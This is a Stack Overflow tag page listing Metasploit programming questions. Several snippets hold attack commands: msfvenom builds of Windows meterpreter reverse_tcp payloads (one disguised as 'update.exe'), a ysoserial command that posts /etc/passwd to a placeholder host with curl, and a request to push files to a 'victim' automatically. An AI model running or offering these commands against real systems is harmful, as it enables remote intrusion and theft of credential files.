Questions tagged [metasploit]

This tag is for questions about *programming* the Metasploit framework, not for using the framework or attacking a specific site.

The Metasploit Framework is an open-source project owned/sponsored by Rapid7 for vulnerability assessment, exploitation development, penetration testing, and many other computer and network security-related tasks.

Since version 3 of the Framework, Metasploit has been written primarily in Ruby. Version 2 and older were written in Perl. The various payloads, stagers, and shellcodes are primarily written in C, assembly, and Java.

Metasploit is developed on Github. Documentation and community forums are available on Rapid7's community site. Questions can also be asked in the #metasploit channel on Freenode.

If your question is about using Metasploit, rather than programming with it, then it should probably go on our sister site Information Security.

If your question is about attacking a specific system, such questions are off-topic on Stack Overflow. They are also off-topic on Information Security unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem.

Also, any issues resulting from using such tools without permission from the target are your own risk; we do not endorse such actions in any way.

228 questions
-1
votes
1 answer

Msfvenom does not produce required payload

I am trying to create a windows payload with msfvenom but it is not working properly: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f exe payload.exe here is the error that I am…
Yuvraj
  • 3
  • 2
  • 3
-1
votes
1 answer

Make a custom script run when it detects a new metasploit sessions

How could I make a script that runs when the metasploit handler receives a new session? By the way, the script should check if a file exists, and if it doesn't, it should upload a file to the victim. I'm pretty sure I know how to write the script, I…
Robert
  • 1
  • 2
-1
votes
1 answer

how to correct "No database support" warning on metasploit in kali linux

recently is have upgraded metasploit in my kali linux After typing msfconsole on prompt some warning is showing though previously it use to start without warning but because of package dependencies i am not able to downgrade it, [-] ***rting the…
-1
votes
2 answers

Can't import Python script (that requires Metasploit), to MetaSploit modules

I am trying to test a vulnerability on my router using an exploit from exploit_DB. The exploit is a Python script that requires Metasploit to run . Here's a link to the exploit I am using Kali-Linux with Metasploit v4.17.3-dev. What I have tried is…
A.ALMUSBAHI
  • 21
  • 1
  • 5
-1
votes
1 answer

Metasploit Error "The procedure entry point _gmtime64_s could not br located in the dynamic link library msvcrt.dll"

I have installed metasploit on my Windows XP SP3, but when I run it in the command line using msfconsole I get the following error. The procedure entry point _gmtime64_s could not br located in the dynamic link library msvcrt.dll Could anyone help…
-1
votes
1 answer

Exploit agains metasploit system

I'm working on an assignment using Kali Linux to exploit against the Metasploit system. A question in regards to my assignment is: What application did it (the exploit I used) exploit on Metasploit? I used samba/usermap_script. I don't know how to…
eazy
  • 25
  • 2
  • 4
-1
votes
1 answer

Error: The selected arch is incompatible with the payload

msfvenom --payload windows/meterpreter/reverse_tcp LHOST=********* LPORT=8080 -f exe --platform windows --arch x64 -e x64/shikata_ga_nai -i 10 > /var/www/html/update.exe
Kajal K
  • 7
  • 1
  • 5
-1
votes
3 answers

auto run metasploit then meterpreter commands

I want to run metrpreter commands every minute automatically, unfortunately I don't have enough skill in programming to make a bash script or python. for example I want to do these automatically: msfconsole use exploit/multi/handler set PAYLOAD…
jali316
  • 3
  • 1
  • 8
-1
votes
1 answer

Msfvenom format specifier

In msfvenom what does it mean exactly when i specify the format to C or Python? And what is the format 'raw' for? I know, when the format is psh-cmd it runs in the command prompt and when it is exe it runs as a normal executable, what about the…
pedro santos
  • 337
  • 1
  • 2
  • 9
-1
votes
1 answer

Installation of metasploit on Ubuntu 16.04

I am trying to install metasploit on Ubuntu 16.04. I tried installing the dependencies using command sudo apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems but getting the error…
Maria Khalid
  • 189
  • 2
  • 15
-1
votes
1 answer

How to Install Metasploitable on External Device

I want to Install metasploitable os on an external device like a computer or Raspberry Pi. is it possible? I download that but it have ".vmdk" format and it's not ".iso". how can I convert it to iso or how can I have this OS on a computer? Thanks.
Hossein Badrnezhad
  • 424
  • 1
  • 6
  • 18
-1
votes
1 answer

How to 'path a file' when generate Metasploit shell?

I want to path a file with generate Metasploit shell. It is like this: java -jar ysoserial.jar CommonsCollections1 "curl -X POST -F file=@etc/passwd axample.com" | base64 like -F file in example, I want to path a file in command: msfvenom -p…
-1
votes
1 answer

User input passed as a variable to subprocess.call

Im trying to pass a variable into another program that is being launched. I having issues with the variable working here is the code It all works up until the passing of RHOST, metasploit takes it as %RHOST I need to pass the RHOST variable straight…
-1
votes
1 answer

could not find a valid gem 'ruby'

I'm trying to install Metasploit on Raspberry Pi model B+ as I am new to the Metasploit and the Gems environment I was following the details in this link Installing Metasploit on Raspberry, everything was working fine until I reached bundling root@…
-1
votes
1 answer

Kali Linux Metasploit framework weird behaviour

Basically last night i was successfully trying out some exploits on my local network, unfortunately msfconsole wont even start today.I'd appreciate if someone who knows his stuff about this answers my question. Error I'm getting is…
Alex Adic
  • 33
  • 3